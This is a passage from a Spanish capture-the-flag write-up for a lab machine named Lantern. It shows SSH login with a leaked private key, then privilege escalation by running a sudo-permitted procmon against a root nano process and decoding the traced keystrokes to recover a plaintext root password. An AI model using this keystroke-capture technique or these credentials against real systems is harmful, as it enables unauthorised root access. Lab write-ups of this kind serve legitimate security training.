7569eG+0IqbVOf6sxPIU1MLwbPD6WRq2qecSf5cBrVwMcbY4tUHEjZj9c18f1uqM1wP8jX
zXIeaAndF2ndQcl/0CihZj9dY2WXRjDwAAAMEAxZv9saLa9LSqx4AvLT2U/a4u8OIepMaN
x6DMDmRu3UY/rq13awL4YsXYF6h4c8V7rSPYAl+HRfnxzlLOK+ALU47n+qKDRcnI47e/Zv
Zry8Yy605aCCKTyQ6O5ppFt1iKkxmUo7glCnrNyvna6dj8qX9hy2qY+sUiUgsLbKz5e9tP
vpPttZZSNoWoBOkcAihJhIrs4GF5fj5t3gR2RA2qGlJ4C2R80Qbv2QAnroevpnoYKko/s9
2VfNjWIV4Eq/DnAAAADXRvbWFzQGxhbnRlcm4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
La guardamos en nuestra máquina de atacante, le damos permisos de ejecución y la usamos para conectarnos a través de SSH
como el usuario thomas
:
❯ chmod 600 tomas_id_rsa # save the key
❯ ssh -i tomas_id_rsa tomas@10.10.11.29
<SNIP>
You have mail.
Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46
tomas@lantern:~$
Podemos obtener la flag de usuario.
Root Link to heading
Cuando nos logueamos por SSH
podemos ver el mensaje You have mail.
. Podemos revisar este mail:
tomas@lantern:~$ cat /var/mail/tomas
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
Habla acerca de un script llamado /root/automation.sh
.
Pero no tenemos acceso a este archivo:
tomas@lantern:~$ ls -la /root/automation.sh
ls: cannot access '/root/automation.sh': Permission denied
Por lo que puede que esta pista nos sirva para más tarde.
Revisando qué es lo que puede correr este usuario con sudo
tenemos algo:
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
Podemos ejecutar ProcMon
.
Esta es una herramienta para Windows
para registrar y monitorear eventos; de no ser por el detalle de que estamos en una máquina Linux
. Buscando, sucede que sí existe un ProcMon para Linux el cual tiene similares utilidades. Es más, de su documentación de uso podemos ver que tenemos el mismo output:
tomas@lantern:~$ sudo /usr/bin/procmon -h
procmon [OPTIONS...]
OPTIONS
-h/--help Prints this help screen
-p/--pids Comma separated list of process ids to monitor
-e/--events Comma separated list of system calls to monitor
-c/--collect [FILEPATH] Option to start Procmon in a headless mode
-f/--file FILEPATH Open a Procmon trace file
Pero levemente diferente (de manera que tiene que ser una versión algo más vieja).
Podemos revisar procesos siendo ejecutados por root
en la máquina víctima:
tomas@lantern:~$ ps aux | grep root | grep "\.sh"
root 7272 0.0 0.1 7272 4212 pts/0 Ss+ 08:00 0:00 nano /root/automation.sh
El script mencionado anteriormente está siendo ejecutado con nano
.
Dado que podemos usar ProcMon
con sudo
podemos usarlo para inspeccionar lo que está ejecutando root
utilizando el PID
de este proceso (7272
en este caso):
tomas@lantern:~$ sudo /usr/bin/procmon -p 7272 -e write
In file included from <built-in>:2:
In file included from /virtual/include/bcc/bpf.h:12:
In file included from include/linux/types.h:6:
In file included from include/uapi/linux/types.h:14:
<SNIP>
Al ejecutarlo deberíamos de ver una ventana como:
Espero algunos minutos y presiono F6
para guardar los logs y F9
para salir.
Una vez hecho aquello, tenemos un archivo .db
en nuestro directorio actual cuyo dueño es root
:
tomas@lantern:~$ ls -la
total 1232
drwxr-x--- 9 tomas tomas 4096 Nov 14 08:15 .
drwxr-xr-x 3 root root 4096 Dec 24 2023 ..
<SNIP>
drwxrwxr-x 4 tomas tomas 4096 Dec 26 2023 .nuget
-rw-r--r-- 1 root root 1212416 Nov 14 08:15 procmon_2024-11-14_08:11:17.db
-rw-r--r-- 1 tomas tomas 807 Jan 6 2022 .profile
<SNIP>
Es un archivo para SQLite
:
tomas@lantern:~$ file procmon_2024-11-14_08\:11\:17.db
procmon_2024-11-14_08:11:17.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 4, database pages 296, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Pasamos este archivo a nuestra máquina de atacante (usando scp
, por ejemplo) y usamos SQLite
para analizarla:
sqlite> .tables
ebpf metadata stats
Hay una columna llamada ebpf
. Buscando qué es lo que es esto tenemos, encontramos:
Extended Berkeley Packet Filter
(eBPF
) is a Linux
kernel technology enabling engineers to build programs that run securely in kernel space. eBPF
can be used to inspect, filter, and monitor network traffic.Es decir, estos son los datos que pueden ser usados para monitorear tráfico.
Leyendo el contenido de esta tabla retorna:
sqlite> PRAGMA table_info(ebpf);
0|pid|INT|0||0
1|stacktrace|TEXT|0||0
2|comm|TEXT|0||0
3|processname|TEXT|0||0
4|resultcode|INTEGER|0||0
5|timestamp|INTEGER|0||0
6|syscall|TEXT|0||0
7|duration|INTEGER|0||0
8|arguments|BLOB|0||0
sqlite> select * from ebpf;
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|25511746524120|write|16581|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|34715|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|73939|
La cosa yace en que la tabla tiene 9 columnas (de la 0
a la 8
), pero sólo somos capaces de ver 9 columnas.
Podríamos tratar de escribir toda la data que existe (los cuales podrían ser blobs) en un archivo. Para ello ejecutamos:
sqlite> .output result.txt
sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
Program interrupted.
Donde hemos presionado Ctrl+C
para salir de SQLite
y escribir los datos en un archivo llamado result.txt
. Este archivo tiene bastantes líneas y datos que son, aparentemente, ilegibles:
❯ wc -l result.txt
2651 result.txt
❯ head result.txt
1B5B3F32356C
1B5B3F323568
08
2051
20
1B5B3F32356C
1B5B3F323568
33
33
1B5B3F32356C
Esta última columna contiene datos en hexadecimal (algo bugeados, eso sí). Por lo que podemos tratar de visualizarlos utilizando nuestra terminal:
❯ cat result.txt | xxd -r -p | less -S
Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uuddoo [?25 . //bbaacckkuupp..sshh^M[?25l[4;37[?25l^Meecchh^Mecho[?25l [?25 Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uudd
<SNIP>
Está mostrando los datos siendo ejecutados en el script .sh
por nano
. Asumo que cada letra se encuentra duplicada en 33EEddddttddww33ppMMBB
(por el string s uuddoo
que duplica casi todas las letras de sudo
).
Por tanto, tenemos 3Eddtdw3pMB
. Revisamos si esta contraseña funciona para el usuario root
:
tomas@lantern:~$ su root
Password:
su: Authentication failure
No funcionó. Ya que s uuddoo
puede ser sudo
, ¿quizás -y ya que tenemos una Q
antes- la contraseña es Q3Eddtdw3pMB
?
tomas@lantern:~$ su root
Password: Q3Eddtdw3pMB
root@lantern:/home/tomas# whoami
root
¡Funcionó! GG.
Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking.